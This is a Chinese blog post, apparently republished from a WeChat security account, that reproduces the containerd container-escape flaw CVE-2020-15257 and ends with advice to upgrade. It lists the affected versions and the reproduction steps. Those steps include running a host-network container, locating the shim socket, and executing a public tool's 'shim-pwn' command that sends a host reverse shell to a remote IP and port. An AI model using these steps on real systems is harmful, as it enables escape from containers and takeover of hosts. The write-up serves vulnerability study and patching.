Docker 容器逃逸漏洞 (CVE-2020-15257)复现

admin 2020年12月30日08:50:32评论172 views字数 717阅读2分23秒阅读模式

漏洞概述


containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。


影响版本


containerd < 1.4.3containerd < 1.3.9


 

环境搭建


安装有漏洞的containerd版本

这里我使用的版本是1.2.10

Docker 容器逃逸漏洞 (CVE-2020-15257)复现


漏洞复现


通过--net=host 作为启动参数来运行一个容器:

docker run -it --net=host ubuntu:18.04 /bin/bash

接着在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"

可看到抽象命名空间Unix域套接字
Docker 容器逃逸漏洞 (CVE-2020-15257)复现

Poc地址

https://github.com/Xyntax/CDK/releases/tag/0.1.6

这里为了方便行事,我们下载解压直接把cdk_linux_amd64文件拷贝到容器里

docker cp cdk_linux_amd64 b7bd2b523d72:/tmp

Docker 容器逃逸漏洞 (CVE-2020-15257)复现

Docker 容器逃逸漏洞 (CVE-2020-15257)复现

在容器中执行exp,自动搜索可用的socket并反弹宿主机的shell到远端服务器,完成逃逸

./cdk_linux_amd64 run shim-pwn 192.168.1.102 6666

Docker 容器逃逸漏洞 (CVE-2020-15257)复现


修复建议


升级 containerd 至最新版本。


本文始发于微信公众号(锋刃科技):Docker 容器逃逸漏洞 (CVE-2020-15257)复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月30日08:50:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker 容器逃逸漏洞 (CVE-2020-15257)复现https://cn-sec.com/archives/223892.html

发表评论

匿名网友 填写信息